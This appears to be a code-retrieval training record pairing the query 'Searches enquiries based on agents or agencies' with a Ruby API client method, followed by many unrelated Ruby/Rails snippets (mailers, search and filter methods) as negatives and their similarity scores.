"def inform_organization_context email\n # okay, because all contact_persons belong to the same organization\n orga = email.contact_people.first.organization\n offers = orga.offers.visible_in_frontend.select(\n &:remote_or_belongs_to_informable_city?\n )\n @contact_person = email.contact_people.first\n @vague_title = email.vague_contact_title?\n @mainly_portal = mainly_portal_offers?(offers)\n @overview_href_suffix = \"/organisationen/#{orga.slug || orga.id.to_s}\"\n @utm_tagging_suffix = generate_utm_suffix orga.offers, 'GF'\n @subscribe_href = get_sub_or_unsub_href email, 'subscribe'\n headers['X-SMTPAPI'] = { category: ['inform orga'] }.to_json\n send_emails email, offers, :orga_inform, t('.subject')\n end",
"def new(contact)\r\n @contact = contact\r\n case @contact.form_type\r\n when 'course_instance_enquiry'\r\n mail to: SITE_SETTINGS['Course Instance Enquiry'], cc: SITE_SETTINGS['Email'], subject: @contact.subject\r\n else\r\n mail to: SITE_SETTINGS['Email'], subject: \"Contact form completed - #{SITE_SETTINGS['Name']}\"\r\n end\r\n end",
"def create\n @inquiry = Inquiry.new(params[:inquiry])\n\n respond_to do |format|\n if @inquiry.save\n InquiryMailer.inquiry_confirmation(@inquiry).deliver\n format.html { redirect_to(new_inquiry_path, :notice => 'Inquiry was successfully created.') }\n format.xml { render :xml => @inquiry, :status => :created, :location => @inquiry }\n else\n format.html { render :action => \"new\",:layout=>'corp' }\n format.xml { render :xml => @inquiry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def enquiry_params\n params.require(:enquiry).permit(:user_id, :name, :email, :subject, :text, :sent_at)\n end",
"def setup_email(user, payment)\n mail = Mail.deliver do\n to user.email\n from 'FoodCircles <hey@joinfoodcircles.org>'\n subject \"Got your Voucher for #{payment.offer.venue.name}\"\n reply_to 'used@inbound.foodcircles.net'\n html_part do\n content_type 'text/html; charset=UTF-8'\n body \"<table width = '550px'><tr><td style = font-size:12pt; font-family:Arial><p style= text-align: justify;>Print this email or just show it off on a fancy electronic device.</p>\n <p style= text-align: justify>\n <b>confirmation code:</b> #{payment.code}<br>\n <b>good for:</b> #{payment.offer.name}<br>\n <b>only at:</b> #{payment.offer.venue.name}<br>\n <b>with a minimum of:</b> #{payment.offer.min_diners} diners<br>\n <b>expiring:</b> #{30.days.from_now.to_date}</p><br>\n <b>3 steps to redeem:</b>\n <p>\n <b>1)</b> Show server this message before you order. They should jot your code down and confirm.<br>\n <b>2)</b> Order regular food or drink for each person in party.<br>\n <b>3)</b> Mark Voucher used by following this link! <a href=\\\"http://staging.foodcircles.net/payment/used?code=#{payment.code}&source=email\\\">Mark Voucher Used</a></br>\n </p><br><br>\n Enjoy!<br><br>\n Contact support at <b>support@joinfoodcircles.org</b> if you have any concerns or questions whatsoever.<br><br><br>\n <h3><u>FOR SERVERS:</u></h3>\n <p style= text-align: justify;><b>Write down the confirmation code on the table's receipt or your POS system</b>. Place a \\\"Buy One, Feed One\\\" placard on the guest's table, and mark a tally on your chalkboard (if available). Call us at 312 945 8627 with any questions!</p></td></tr></table>\"\n end\n end\n end",
"def item_feedback\n to = params[:patron_email] + ', ' + params[:staff_email]\n from = \"Item Feedback <#{params[:staff_email]}>\"\n title = params[:bib_record].title\n subject = \"Item Feedback [#{title}]\"\n mail(to: to, from: from, subject: subject)\n end",
"def admin_order_inform\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def especial_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end",
"def send_survey\n @company.save\n @company.reload\n\n body = sprintf(SURVEY_EMAIL_TEMPLATE,\n name: @company.name,\n link: company_url(@company.uuid))\n\n send_email(sender: SURVEY_EMAIL_SENDER,\n recipients: @company.emails,\n subject: SURVEY_EMAIL_SUBJECT,\n html_body: body)\n end",
"def new_advicepost_accepted_advisor(advisor)\n @advisor = advisor\n mail to: @advisor.email, subject: \"New advice listing accepted\"\n end",
"def application_approved(exam_candidate)\n @exam_candidate = exam_candidate\n \n using_locale @exam_candidate.language do\n mail :to => @exam_candidate.email_address_with_name\n end\n end",
"def reminder_to_request_departmental_approval(name, email)\n @name = name\n\n mail(to: email, subject: 'Department approval may be needed')\n end",
"def refer(line_item)\n @line_item = line_item\n @greeting = \"Hi #{@line_item.name}\"\n @job = Job.find(@line_item.job_id)\n\n mail to: line_item.email, subject:\"Hi #{@line_item.name}, 猎友会给您推荐职位了\", temlate_path: 'refer_notifier',template_name: 'refer'\n end",
"def new_contact_reply(contact_us_id)\n @contact_us = ContactUs.find contact_us_id\n mail({\n to: @contact_us.email,\n subject: \"Thank you for contacting us\"\n })\n end",
"def order_budget()\n \n @greeting = \"Hi\"\n\n mail :to => \"docs1006@prodigy.net.mx\", :subject => 'Pragmatic Store Order Confirmation'\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :salutation, :name, :country, :contact_no, :email, :content, :subject)\n end",
"def send_test\n @bulletin = @project.bulletins.find(params[:id]) \n \n if request.post?\n addr = params[:recipient][:email]\n recip = @project.recipients.find_by_email(addr)\n if ! recip\n recip = Recipient.new(:email => addr, :firstname => 'Sample', :surname => 'User')\n subscription = Subscription.new( :project => @project, :recipient => recip )\n else\n subscription = @project.subscriptions.find_by_recipient_id( recip.id )\n end\n \n #begin \n BulkMailer::deliver_bulletin(@bulletin, subscription)\n flash[:notice] = _(\"Test e-mail sent successfully!\")\n redirect_to :action => 'index'\n #rescue\n # flash[:error] = \"Unable to send the test email! \" + $!\n #end\n end\n end",
"def adhoc_mailing\n setup_adhoc_render_default\n end",
"def demo_request(email, name, company)\n @email = email\n @name = name\n @company = company\n mail(to: \"casimodo.be@gmail.com\", subject: \"new demo demand\")\n end"
] |
[
"0.6754216",
"0.67178786",
"0.6641498",
"0.6600392",
"0.6528532",
"0.6511498",
"0.6455065",
"0.63949484",
"0.62789315",
"0.62789315",
"0.62789315",
"0.62789315",
"0.62789315",
"0.62789315",
"0.62789315",
"0.616759",
"0.6134839",
"0.6131733",
"0.61263883",
"0.6118745",
"0.60879153",
"0.60697013",
"0.6063975",
"0.604665",
"0.6038408",
"0.60199404",
"0.60196966",
"0.5981045",
"0.5952173",
"0.59392065",
"0.59281516",
"0.5919137",
"0.5895837",
"0.5892847",
"0.5890338",
"0.58870053",
"0.58422565",
"0.58258915",
"0.58064485",
"0.57938457",
"0.57866913",
"0.5781112",
"0.5779559",
"0.5775803",
"0.576097",
"0.57582366",
"0.57571113",
"0.5746939",
"0.5725289",
"0.5698608",
"0.56833386",
"0.5680712",
"0.5675689",
"0.5675689",
"0.5670648",
"0.56668186",
"0.5663151",
"0.56533396",
"0.56447434",
"0.5631896",
"0.5629877",
"0.5629877",
"0.5628167",
"0.5619291",
"0.55745083",
"0.55623937",
"0.55515623",
"0.55493665",
"0.5544465",
"0.55427366",
"0.55351675",
"0.5534809",
"0.55325687",
"0.5527626",
"0.5524796",
"0.5517181",
"0.55068177",
"0.5497469",
"0.54938626",
"0.54817057",
"0.5476304",
"0.546304",
"0.5449573",
"0.5449407",
"0.54475546",
"0.54462314",
"0.5430105",
"0.54230404",
"0.541144",
"0.5398124",
"0.53964573",
"0.53710824",
"0.5368733",
"0.5367079",
"0.5361479",
"0.5359932",
"0.5357421",
"0.5353043",
"0.5350605",
"0.535023",
"0.53463745"
] |
0.0
|
-1
|
Searches enquiries based on agents or agencies.
|
def enquiries_search(opts = {})
data, _status_code, _headers = enquiries_search_with_http_info(opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def enquiries_search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_search ...'\n end\n # resource path\n local_var_path = '/v1/enquiries'\n\n # query parameters\n query_params = {}\n query_params[:'agencyId'] = opts[:'agency_id'] if !opts[:'agency_id'].nil?\n query_params[:'agentId'] = opts[:'agent_id'] if !opts[:'agent_id'].nil?\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EnquiriesApi#enquiries_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end",
"def attendee_search(agenda_id)\n\t\tself.attendees.where(agenda_id: agenda_id)\n\tend",
"def agencies_search(q, opts = {})\n data, _status_code, _headers = agencies_search_with_http_info(q, opts)\n data\n end",
"def search_tickets(term, value)\n results = @tickets_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |ticket|\n # Get related organizations\n ticket['organizations'] =\n @organizations_indice.search_by_primary_key(value: ticket['organization_id'])\n\n # Get related users who are submitters\n ticket['submitters'] =\n @users_indice.search_by_primary_key(value: ticket['submitter_id'])\n\n # Get related users who are assignees\n ticket['assignees'] =\n @users_indice.search_by_primary_key(value: ticket['assignee_id'])\n end\n end\n results\n end",
"def agencies_search_with_http_info(q, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AgenciesApi.agencies_search ...'\n end\n # verify the required parameter 'q' is set\n if @api_client.config.client_side_validation && q.nil?\n fail ArgumentError, \"Missing the required parameter 'q' when calling AgenciesApi.agencies_search\"\n end\n # resource path\n local_var_path = '/v1/agencies'\n\n # query parameters\n query_params = {}\n query_params[:'q'] = q\n query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DomainAgencyServiceV2ModelAgencySummary>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AgenciesApi#agencies_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n if current_user.hq_role == true\n @reqs = Req.all\n @search = Req.ransack(params[:q])\n @reqs = @search.result\n else\n @search = Req.ransack(params[:q])\n @reqs = @search.result\n @reqs = @reqs.mine(current_user)\n end\n end",
"def search_organizations(term, value)\n results = @organizations_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |organization|\n # Get related tickets\n organization['tickets'] =\n @tickets_indice.search(term: 'organization_id', value: organization['_id'])\n\n # Get related users\n organization['users'] =\n @users_indice.search(term: 'organization_id', value: organization['_id'])\n end\n end\n results\n end",
"def run_search\n agent = Mechanize.new\n agent.get('http://www.indeed.com/')\n fill_out_search_form(agent)\n search_and_create_job_application(agent)\n end",
"def search_inspections\n search_business_context( true )\n end",
"def set_search\n @search_adie = Adie.search(params[:q])\n @search_company = Company.search(params[:q])\n @search_employee = Employee.search(params[:q])\n end",
"def search(term)\n all.select { |contact| contact.name.include?(term) || contact.email.include?(term) }\n end",
"def auto_complete_for_filter_expense_pending_envelope\r\n project_ids = (@current_user.supervised_projects.nil? || @current_user.supervised_projects.empty? ) ? '' : (@current_user.supervised_projects.collect {|p| p.id}.flatten)\r\n @items=BulkExpense.find(:all,:include=> [:user, :project] ,\r\n :conditions=>['expenses.envelope like ? and users.enterprise_id=? and (users.supervisor_id=? OR projects.id IN (?))',\"%#{params[:crt_envelope]}%\",@enterprise.id,@current_user.id, project_ids]) \r\n render :inline => '<%= auto_complete_result(@items, \"envelope\") %>'\r\n end",
"def find_jobs_by_term\n\n print \"\\nEnter a search term to filter jobs by: \".blue\n search_term = gets.strip\n\n jobs = FreelancerFinder::Job.all.find_all do |job|\n job.title.include?(\"#{search_term}\") || job.short_description.include?(\"#{search_term}\") || !!job.tags.detect {|tag| tag.include?(\"#{search_term}\")}\n end\n\n jobs\n end",
"def search(criteria = {})\r\n \r\n end",
"def look_up\n raise 'Missing search data!' unless @conditions.valid?\n\n # get tickets/users data\n data = DataStore.instance.send(@conditions.option)\n # a flag to indicate if the search term is an arary type or not\n is_array_term = array_term?(data, @conditions.term)\n\n # travese all data\n @results = data.select do |d|\n if is_array_term # run an array search if the search term is an array field\n values = @conditions.value.split(',').map(&:strip)\n values.all? { |value| d[@conditions.term].include?(value) }\n else # run a normal value match search instead\n d[@conditions.term].to_s == @conditions.value\n end\n end\n\n # make an axtra look up to get associated ticket names or assignee names\n send(\"extra_#{@conditions.option}_data_look_up\")\n end",
"def search(keywords, *fields)\n return all\n end",
"def index\n @training_requests = if params[:q].blank?\n TrainingRequest.order(start_date: :desc)\n .includes(:assigned_to_user, :requested_by_user)\n .page params[:page]\n else\n elastic_search_results(TrainingRequest)\n end\n end",
"def issues(*args)\n params = arguments(args, required: [:q]).params\n params['q'] ||= arguments.q\n\n get_request('/search/issues' , params)\n end",
"def full_text_search(options, ar_options ={})\n klass = use_invitation(options) ? Invitation : Meeting\n ar_options[:include] ||= DEFAULT_INCLUDES\n\t\t build_query_string(options)\n\n\t\t options[:sort] = @sort_options unless @sort_options.nil?\n\t\t options[:page] ||= 1\n logger.debug \"SEARCH STRING: #{@query_string} OPTIONS: #{options.to_yaml}\"\n\n\t\t begin\n\t\t results = klass.paginate_search(@query_string, options, ar_options) \n\t\t rescue\n\t\t logger.error(\"Error while searching with search string: #{@query_string}\")\n\t\t logger.error(\"Error was: #{$!}.\")\n\t\t logger.error($!.backtrace.join(\"\\n\"))\n\t\t return WillPaginate::Collection.new(0, 20, 0) # This is wrong actually. We need to return an empty paginator... Might be somethign like this WillPaginate::Collection.new(page, per_page, total_hits) ?? \n\t\t end\n results.each do |result|\n result.extend(TTB::CoerceInvitation)\n result.filtered_date = self.start_date\n end\n \n \n #~ real_results = results.sort_by{|inv| inv.start_time_local }\n #~ real_results.extend(TTB::CoerceResults)\n #~ real_results.real_results = results\n\t\t return results\n\t\tend",
"def subject_other_search\n @subject_other_search ||= begin\n vals = subject_occupations ? Array.new(subject_occupations) : []\n vals.concat(subject_names) if subject_names\n vals.concat(subject_titles) if subject_titles\n vals.empty? ? nil : vals\n end\n end",
"def index\n @q = params[:q]\n @jobs = Job.includes(:city, :company)\n @jobs = @jobs.where('name like ?', \"%#{@q}%\") if @q.present?\n\n @my_applications = user_signed_in? ? JobApplication.where(user: current_user) : []\n end",
"def index\n @q = @elist_reports.search params[:q]\n @elist_reports = @q.result.page(params[:page])\n end",
"def index\n @agents = Agent.where(active: true)\n if params[:sort].blank?\n @agents = @agents.order(id: :desc).page(params[:page]).per 20\n else\n @agents = @agents.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per 20\n end\n #@agents = @agents.where(\"agents.name like ?\", \"%#{params[:name]}%\") unless params[:name].blank?\n #@agents = @agents.where(\"brokers.name like ?\", \"%#{params[:broker_name]}%\") unless params[:broker_name].blank?\n #@agents = @agents.where(\"agents.tel like ?\", \"%#{params[:tel]}%\") unless params[:tel].blank?\n #@agents = @agents.where(\"agents.email like ?\", \"%#{params[:email]}%\") unless params[:email].blank?\n end",
"def search(email_option, email, postcode_option, postcode)\n email = sanitise_email(email)\n postcode = sanitise_postcode(postcode)\n\n query = Person.joins(:postcode)\n if(email_option == 'include' && email )\n query = query.where(:email_domain => email)\n elsif(email_option == 'exclude' && email )\n query = query.where(\"email_domain NOT IN (?)\", email)\n end\n\n if(postcode_option == 'include' && postcode)\n query = query.where(:postcodes => {:number => postcode})\n elsif(postcode_option == 'exclude' && postcode)\n query = query.where(\"postcodes.number NOT in (?)\", postcode )\n end\n\n return query.order(:name).all\n end",
"def index\n @check_requests = CheckRequest.pending_approval\n .pending_rejection\n .with_agent(current_agent)\n .page(params[:page])\n .per(50)\n .order(verified: :desc, updated_at: :desc)\n\n @check_request_types = CheckRequestType.order(name: :asc)\n if params[:address_search]\n @check_requests = CheckRequest.where('apartment_address ILIKE ?', \"%#{params[:address_search]}%\").page(params[:page]).per(50)\n end\n\n if params[:vendor_search]\n @check_requests = CheckRequest.where('name ILIKE ?', \"%#{params[:vendor_search]}%\").page(params[:page]).per(50)\n end\n end",
"def search(appointments)\n if index_params[:search].present? && index_params[:search].size >= 3\n @filter = FILTERS[:search] # In case we're searching, use special filter\n @search = index_params[:search]\n return appointments.search_for(@search)\n end\n\n appointments\n end",
"def search_ledgers\n if params[:q].blank?\n GeneralLedger\n .order(created_at: :desc)\n .includes(:ledger_category, :financial_account,\n :training_request, :training_session)\n else\n GeneralLedger.search(params[:q])\n end\n end",
"def essence_search\n for_one_user { |name, agent|\n begin\n page = agent.get MARKET_URL\n fail \"Invalid page. Cookie is from web3 or web4?\" if page.forms.size == 1\n\n guilds = Array.new\n page.forms.each {|form|\n if form[\"guild_id\"]\n guilds << form[\"guild_id\"]\n end\n }\n\n # Loops through each guild and checks to see if they have attack or damage essence available\n guilds.each {|guild|\n page = agent.post(GUILD_URL, {'guild_id' => guild, 'ajax' => '1', 'ajax' => '1'})\n essence = page.parser.xpath(\"//span[@style='color:#ec8900;']\")\n #atks = essence[0].text.split(\"/\")\n #if (atks.length == 2 and atks[0].to_i + 200 <= atks[1].to_i)\n # avail_atk = atks[1].to_i - atks[0].to_i\n # puts \"#{avail_atk} atk available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n #defs = essence[1].text.split(\"/\")\n #if (defs.length == 2 and defs[0].to_i + 200 <= defs[1].to_i)\n # avail_def = defs[1].to_i - defs[0].to_i\n # puts \"#{avail_def} def available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n dmgs = essence[2].text.split(\"/\")\n if (dmgs.length == 2 and dmgs[0].to_i + 200 <= dmgs[1].to_i)\n avail_dmg = dmgs[1].to_i - dmgs[0].to_i\n puts \"#{avail_dmg} dmg available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n }\n rescue Exception => ex\n puts \"Error in essence search. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def homesearch\n #Fonctionne avec elasticsearch classique\n #@campings = Camping.custom_search((params[:q].present? ? params[:q] : '*'))\n #@campings = Camping.search((params[:q].present? ? params[:q] : '*'))\n # @campings = Camping.all\n # @campings = Camping.search(params[:q]) unless params[:q].blank?\n # @campings = @campings.piscine unless params[:nomdep].blank?\n # @camping = Departement.all\n # if params[:q].blank? || params[:nomdep].blank?\n # @campings = Camping.__elasticsearch__.search params[:nomdep]\n # else\n # end\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def search_passengers(search, academic_year_id)\n return [] unless search[:route_id].present?\n conditions = {:receiver_type => search[:passenger]}\n route_type = \"#{search[:route_type]}_route_id\".to_sym\n conditions[route_type] = search[:route_id]\n include = (search[:passenger] == \"Student\" ? {:receiver => {:batch => :course}} : {:receiver => :employee_department})\n stop_method = \"#{search[:route_type]}_stop\".to_sym\n Transport.in_academic_year(academic_year_id).all(:conditions => conditions, :include => [stop_method, include])\n end",
"def search(scope, _criteria)\n scope\n end",
"def index\n search = params[:term].present? ? params[:term] : nil\n @offers = if search\n Offer.search(search, where: { user_id: { not: current_user.id }})\n else\n Offer.all\n end\n @request = Request.new\n @ver_oferta_todas = Offer.where.not(:user_id => current_user.id)\n end",
"def index\n\t # @search = Referral.search(params[:q])\n \t# @referrals = @search.result\n @search = Referral.search(params[:q])\n @referrals = @search.result\n @jobs = Job.all\n end",
"def search_users(term, value)\n results = @users_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |user|\n # Get related organizations\n user['organizations'] =\n @organizations_indice.search_by_primary_key(value: user['organization_id'])\n\n # Get submitted tickets related to user\n user['submitted_tickets'] =\n @tickets_indice.search(term: 'submitter_id', value: user['_id'])\n\n # Get assigned tickets related to user\n user['assigned_tickets'] =\n @tickets_indice.search(term: 'assignee_id', value: user['_id'])\n end\n end\n results\n end",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end",
"def index\n @search = Admins::Campaign.ransack(params[:q])\n @admins_campaigns = @search.result.includes(:election => :office).paginate(page: params[:page], per_page: 10)\n end",
"def find_contacts_advanced\n show_params(params)\n\n @person_query = params[:search][:person]\n @org_query = params[:search][:organisation]\n\n @role_ids = params[:search][:role_id_ids].select {|r| r != \"\"}.compact\n \n # Get country and region if they were chosen\n @country_id = @region_id = \"\"\n if params[:search][:country_id] and params[:search][:country_id] != \"\"\n @country_id = params[:search][:country_id]\n end\n if params[:search][:region_id] and params[:search][:region_id] != \"\"\n @region_id = params[:search][:region_id] \n end\n\n @valid_email = params[:search][:valid_email]\n @keywords_query = params[:search][:keywords]\n @modified_since = params[:search][:modified_since]\n \n @subcategory_filters = params[:category_filter].select {|v| !v.blank? }\n \n #This populates @contacts \n @found_contacts = search_by_name_and_organisation(@person_query, @org_query, @keywords_query)\n\n # Filter by subcategory\n if @subcategory_filters.length != 0\n @found_contacts = @found_contacts.select do |c|\n !@subcategory_filters.select do |f|\n c.marketing_subcategories.collect{|ms| ms.marketing_subcategory_id}.include?(f.to_i)\n end.empty?\n end\n end\n\n # Filter by role if a role is selected\n # FIXME: question for client: this returns all organisations that have\n # someone with the given role, if organisations are searched for. Is that\n # desired behaviour?\n if @role_ids.length != 0\n @found_contacts = @found_contacts.select do |c|\n c.roles.select {|r| @role_ids.include?(r.role_type_id.to_s) }.length > 0\n end\n end\n\n # Filter by country/region\n if @country_id != \"\" or @region_id != \"\"\n @found_contacts = @found_contacts.select do |c|\n if @region_id != \"\"\n c.regions.collect{|r| r.region_id }.include?(@region_id.to_i)\n elsif @country_id != \"\"\n c.countries.collect{|c| c.country_id }.include?(@country_id.to_i)\n else\n true\n end\n end\n end\n\n # Only show results with a valid e-mail address\n if @valid_email.to_i > 0\n @found_contacts = @found_contacts.select {|c| c.valid_email? }\n end\n\n # Only show contacts modified since the specified date\n if !@modified_since.blank?\n modified_since_time = Time.parse @modified_since\n @found_contacts = @found_contacts.select {|c| !c.updated_at.blank? and modified_since_time < c.updated_at }\n end\n\n session[:contacts_from_search] = @found_contacts\n \n render :layout => false\n \n end",
"def search\n @query = params[:q]\n @ads = Ad.within(@city, 30)\n @ads = @ads.fulltext_search(@query).group_by { |x| x.created_at.to_date }\n end",
"def index\n @q = Jobdemand.search(search_params)\n @jobdemands = @q\n .result\n end",
"def search\n @rooms = Room.available_in_range(@start_date, @end_date).group(:type).presence\n end",
"def fullsearch params = {}\n request(params.merge(:report_type => :phrase_fullsearch))\n end",
"def pearson_job_search\n\n end",
"def get_resolved_incidents\n # use status of incident as a filter\n res = RestClient.get INCIDENT_QUERY_URL, :params => { :status => \"resolved\", :fields => \"incident_number\" }\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'MOCK_DATA.csv' file whose name or email attributes contain the search term.\n found_contacts = @@contacts.select do |contact|\n contact.name.downcase.include?(term.downcase) || contact.email.downcase.include?(term.downcase)\n end\n found_contacts\n\n end",
"def search_reports(method, query, &block)\n state = (query['state'] || 'CA').upcase\n county = (query['Co'] || query['county'] || query['co']).to_s\n county = county.strip\n county = COUNTIES[county] if county.size <= 4\n return if county == nil\n county = county.upcase\n remarks = \"\"\n if county =~ /^san bernardino|sb$/i && query['APN'].to_s.length == 12\n #apn = query['APN'].to_s.gsub(/(\\d{3})(\\d{3})(\\d{2})(0{4})?/,'0\\1-\\2-\\3')\n apn = \"0\".to_s + query['APN'].to_s\n if county =~ /^orange|oc$/i && query['APN'].to_s.length == 7\n apn = \"0\".to_s + query['APN'].to_s\n end\n else\n apn = query['APN'].to_s\n end\n query = {\n 'state' => state, 'apn_entered' => apn, 'county' => county\n }\n puts(\"Searching: %15s %20s\" % [apn, county]) #if @verbose\n if method == 0 or method == 3\n parse_reports(search_result(query),\n 'APN' => apn, 'State' => state, 'County' => county,\n &block)\n end\n if method == 1\n #query['Remarks'] = \"\"\n parse_reports_residential(run_search_residential(query),\n 'APN' => apn, 'State' => state, 'County' => county, 'Remarks' => remarks,\n &block)\n end\n if method == 2\n @methodtmp = 1\n parse_reportsAPN(search_resultAPN(query),\n 'APN' => apn, 'State' => state, 'County' => county, 'Remarks' => remarks,\n &block)\n end\n end",
"def contacts\n @contacts = Employee.by_company_id(params[:company_id]).by_search(params[:search]).by_contacts(current_user).paginate :page => params[:page]\n @active_employers = current_user.employers.active_employers.all\n end",
"def search\n return Developer.none if email.present? && prog_lang.present? && language_code.present?\n\n query = Developer.all\n query = query.where('email like :search_text', search_text: \"%#{sanitize_sql_like(email)}%\") if email.present?\n query = query.joins(:programming_languages).where(programming_languages: {name: prog_lang}) if prog_lang.present?\n query = query.joins(:languages).where(languages: {code: language_code}) if language_code.present?\n query.order(created_at: :desc)\n end",
"def index\n if params[:q]\n @occasions = Occasion.where(\"name like ?\", \"%#{params[:q]}%\")\n else\n @occasions = Occasion.all\n end\n end",
"def search_tickets( session_key, company_id, contact_id,\n vendor_id, product_id, status, owner_id,\n ticket_reference, client_reference,\n supplier_reference, company_reference,\n date_from, date_to, ticket_status, priority, free_text,\n page_size, page_num, tags)\n\n response_xml = self.call( :search_tickets, message: {\n arg0: session_key,\n arg1: company_id,\n arg2: contact_id,\n arg3: vendor_id,\n arg4: product_id,\n arg5: status,\n arg6: owner_id,\n arg7: ticket_reference,\n arg8: client_reference,\n arg9: supplier_reference,\n arg10: company_reference,\n arg11: date_from,\n arg12: date_to,\n arg13: ticket_status,\n arg14: priority,\n arg15: free_text,\n arg16: page_size,\n arg17: page_num,\n arg18: tags\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def search(q)\n url = Boundary.api_url(@auth)+'/search'\n results = Array.new\n results = Boundary.get(url+\"?q=#{q}\")\n return nil if results.empty? \n case results['header']['hits'].to_i\n when 0\n return nil\n else\n return results['entities']\n end\n end",
"def essence_search\n options = {}\n OptionParser.new do |opts|\n opts.on(\"-a\", \"--[no-]attack\", \"Search for attack essence\") do |a|\n options[:attack] = a\n end\n\n opts.on(\"-d\", \"--[no-]damage\", \"Search for damage essence\") do |d|\n options[:damage] = d\n end\n\n opts.on(\"-e\", \"--[no-]defense\", \"Search for defense essence\") do |e|\n options[:defense] = e\n end\n\n opts.on(\"-h\", \"--[no-]health\", \"Search for health essence\") do |h|\n options[:health] = h\n end\n\n opts.on(\"-cCOOKIE\", \"--cookie=COOKIE\", \"End of login cookie\") do |c|\n options[:cookie_end] = c\n end\n\n end.parse!\n\n for_joshua_cmd(options[:cookie_end]) { |name, agent, |\n begin\n page = agent.get MARKET_URL\n fail \"Invalid page. Cookie is from web3 or web4?\" if page.forms.size == 1\n\n guilds = Array.new\n page.forms.each {|form|\n if form[\"guild_id\"]\n guilds << form[\"guild_id\"]\n end\n }\n\n # Loops through each guild and checks to see if they have attack or damage essence available\n guilds.each {|guild|\n page = agent.post(GUILD_URL, {'guild_id' => guild, 'ajax' => '1', 'ajax' => '1'})\n essence = page.parser.xpath(\"//span[@style='color:#ec8900;']\")\n if (options[:attack])\n atks = essence[0].text.split(\"/\")\n if (atks.length == 2 and atks[0].to_i + 200 <= atks[1].to_i)\n avail_atk = atks[1].to_i - atks[0].to_i\n puts \"#{avail_atk} atk available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:defense])\n defs = essence[1].text.split(\"/\")\n if (defs.length == 2 and defs[0].to_i + 200 <= defs[1].to_i)\n avail_def = defs[1].to_i - defs[0].to_i\n puts \"#{avail_def} def available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:damage])\n dmgs = essence[2].text.split(\"/\")\n if (dmgs.length == 2 and dmgs[0].to_i + 200 <= dmgs[1].to_i)\n avail_dmg = dmgs[1].to_i - dmgs[0].to_i\n puts \"#{avail_dmg} dmg available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:health])\n heals = essence[3].text.split(\"/\")\n if (heals.length == 2 and heals[0].to_i + 200 <= heals[1].to_i)\n avail_heal = heals[1].to_i - heals[0].to_i\n puts \"#{avail_heal} health available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n }\n rescue Exception => ex\n puts \"Error in essence search. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def search_for(*args, &block)\n __elasticsearch__.search(*args, &block)\n end",
"def relevant_agreements\n # All people including the data steward should be listed in the contributor, if allowed to contribute\n if user_signed_in?\n (_, @relevant_user_agreements) = get_search_results(:q =>filter_relevant_agreement, \n :sort=>sort_field, :rows=>5, :fields=>\"*:*\")\n end\n end",
"def search(url_params = nil, eds_params = nil)\n send_and_receive(url_params, eds_params)\n end",
